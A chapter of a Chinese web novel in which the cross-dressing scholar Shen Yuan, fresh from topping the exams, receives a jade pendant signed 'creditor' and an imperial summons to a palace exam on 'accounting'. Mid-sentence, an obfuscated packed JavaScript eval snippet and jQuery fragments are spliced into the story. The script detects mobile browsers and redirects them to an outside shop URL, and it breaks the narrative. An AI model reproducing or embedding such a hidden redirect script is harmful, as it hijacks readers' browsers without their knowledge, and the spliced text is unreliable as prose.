镇北侯府门前的鞭炮碎屑，铺了足足三寸厚。


    红色的纸屑混着昨夜的雨水和泥土，被来来往往道贺的宾客踩得有些斑驳，空气里那股硫磺味经久不散。


    沈铁站在大堂中央，脸上的笑意像是用刀刻上去的，一整天都没放下来过。


    来道贺的官员武将络绎不绝，嘴里说着恭维的话，心里大概都在犯嘀咕。


    谁能想到，那个在京城里声名狼藉、只知道遛鸟斗鸡的镇北侯府“世子”，竟然真能考个会元回来。


    这比听说沈铁这个大老粗开始读圣贤书还要离谱。


    “哈哈哈哈，犬子顽劣，顽劣！能有今日，全靠各位同僚平日里的‘帮衬’！”


    沈铁的嗓门震得房梁嗡嗡作响，那“帮衬”两个字咬得格外重。


    几个曾经在背后说过沈怨坏话的官员，端着酒杯的手稍微抖了一下，脸上的笑容看着多少有些勉强。


    与前院的热闹鼎沸相比，东厢的书房里，却又是另一番光景。


    沈怨坐在桌案后，手里拿着一本线装的《大周律例》，指尖正停在“户律”那一卷上。


    李狗轻手轻脚地走进来，将一碗刚刚炖好的燕窝放在桌角，热气袅袅升起，模糊了沈怨冷硬的侧脸。


    “公子，您好歹也歇歇。外面那些大人都想见您一面，说是要沾沾喜气。”


    沈怨的视线没有离开书页，只是轻轻翻过一页。


    “和他们有什么好见的。”


    她声音平淡，像是在谈论今天的天气。


    “一群潜在的负资产，笑起来脸上的褶子都在计算着人情往来的成本，若是见了，还得费心神去算计回本的周期，不划算。”


    李狗被噎了一下，不知道该怎么接话。


    自家公子这张嘴，真是半点喜气都沾不上，明明是天大的好事，怎么到了公子嘴里，就成了生意场上的算计。


    就在这时，窗外传来一阵极轻微的“叩叩”声。


    声音很轻，被前院的喧闹掩盖了大半，若非耳力极好，根本听不见。


    李狗还没反应过来，沈怨却像是早就预料到了一般，头也不抬。


    “去开窗。”


    李狗疑惑地推开窗户。


    外面空无一人，只有一封牛皮纸信封，静静地卡在窗棂的缝隙里。


    信封上没有署名，也没有火漆印记。


    李狗取下信封，正要递给沈怨，却见她抬起手，指了指桌面。


    “放那儿。”


    李狗依言照做。


    沈怨从笔架上取下一根细长的银簪，动作熟练地挑开信封的封口。


    她将信封倒置，轻轻一抖。


    没有信纸，只有一样东西滑落在桌面上，发出沉闷的声响。


    一块通体温润的白玉，上面雕刻着繁复的五爪龙纹，玉质细腻，在烛火下泛着柔和的光泽。


    李狗的眼皮猛地跳了一下。


    他认得这块玉。


    当初在后山，公子就是用这块看似不凡的玉佩，从那个姓黄的贵公子手里换了一百两银子，还美其名曰“投资回报”。


    后来听说这玉佩被人高价赎了回去，没想到今日又出现在这里。


    沈怨的目光落在那块玉佩上，眼神微动。


    她伸出两根手指，将玉佩拈了起来，凑到眼前细看。


    玉佩的背面，被人用极细的刻刀，新划出了四个小字，笔锋凌厉。


    “殿试见，债主。”


    “债主……”


    沈怨低声咀嚼着这两个字，嘴角微微勾起。


    她当然记得。


    那个穿着低调、出手却阔绰得像是冤大头的“黄公子”。


    那个被自己用一套“烤红薯治国论”忽悠得一愣一愣，最后还掏了银子的青年。


    原来如此。


    姓黄，身佩龙纹玉佩，还能自称为“债主”，这谜底已经昭然若揭。


    李狗看着沈怨平静的侧脸，心里却开始打鼓。


    得罪了宰相，已经够让人头疼了。


    现在看来，自家公子好像连当今天子都一起算计进去了。


    “公子，这……”


    “意料之中。”


    沈怨随手将那块价值连城的玉佩扔回桌上，发出“叮”的一声脆响，就像是在扔一块不值钱的石头。


    “一笔早就该入账的应收账款而已，拖了这么久，利息还没算呢。”


    她重新拿起那本《大周律例》，翻到关于“欺君之罪”的那一页，指尖在上面轻轻划过。


    “看来，这笔账的风险等级，需要根据《大周刑统》重新评估了。”


    李狗听得云里雾里，只觉得后背一阵发凉，自家公子这心，大概是铁打的。


    就在这时，院外传来一阵急促的脚步声，打破了书房内的微妙气氛。


    一名侯府的管事神色慌张地跑了进来，连礼数都忘了，差点被门槛绊倒。


    “公子！宫里来人了！”


    沈怨的视线终于从书上移开，抬起头，目光清明。


    很快，一名身穿青色宦官服饰的中年太监，在沈铁的亲自陪同下，走进了书房。


    沈铁脸上的笑容还没完全收敛，看着自己女儿，眼神里全是骄傲，仿佛已经看到了沈家光宗耀祖的未来。


    “怨儿，快，刘公公是特地来给你传旨的。”


    那刘公公显然也是个人精，脸上堆着笑，对着沈怨拱了拱手，眼神却在沈怨身上打


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239763|197673||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了个转。


    “咱家见过沈会元，恭喜会元郎高中魁首，为朝廷贺，为陛下贺啊。”


    “有劳公公。”


    沈怨站起身，神色淡然，既不惶恐，也不谄媚。


    刘公公清了清嗓子，展开了手里的明黄卷轴，神色变得肃穆。


    “陛下口谕。”


    “着今科会元沈未平，三日后入宫殿试。”


    念到这里，他顿了一下，特意抬起眼皮，看了一眼沈怨，声音里带着一丝莫名的意味。


    “陛下有言，今科殿试，不考经义，不论文采。”


    “陛下将亲自出题，只考一件事……”


    刘公公拖长了语调，似乎很满意在场所有人屏息凝神的样子，连沈铁那粗重的呼吸声都听得一清二楚。


    沈铁和李狗都紧张地看着他，大气都不敢出。


    刘公公的目光最终定格在沈怨的脸上，一字一句地说道：


    “算账。”


    话音落下，书房内陷入了短暂的沉寂。


    沈铁愣住了，挠了挠头，似乎没听懂这两个字的意思。


    李狗也愣住了，随即猛地想起了桌上那块玉佩，还有那句“殿试见，债主”。


    这哪里是考试。


    这分明就是冲着公子来的！


    他下意识地看向沈怨，只见她依旧站在那里，脸上没什么表情，仿佛早就猜到了这个结果。


    刘公公宣读完口谕，看着神色各异的几人，脸上的笑容更深了些。


    他此行的任务已经完成，剩下的，就是看这位惊世骇俗的沈会元，要如何接这烫手的山芋了。


    就在这片凝固的寂静中，沈怨缓缓地动了。


    她走到桌案前，伸出手指，轻轻拨动了一下那块龙纹玉佩。


    玉佩在光滑的桌面上旋转，映着烛火，流光溢彩，发出一阵细微的嗡鸣声。


    然后，她抬起头。


    嘴角，向上牵起了一个极细微的弧度。


    那神情，不像是即将面见天威的惶恐，也不像是被人看穿底牌的紧张。


    那双黑沉沉的眼睛里，反而亮起了一点兴奋的光，像是蛰伏已久的猎食者，终于等到了猎物主动踏进了陷阱。


    “算账？”


    她轻声开口，声音不大，却清晰地传到了在场每个人的耳朵里。


    “好啊。”


    沈怨的笑容扩大了一些，露出一口整齐的白牙，在烛火下显得有些森然。


    “就是不知，陛下是想查谁的账？”


    她伸出手指，轻轻点了点桌面上那本翻开的《大周律例》。


    “是查这天下的烂账，还是想让我……”


    “帮他算算，他自己的那笔账？”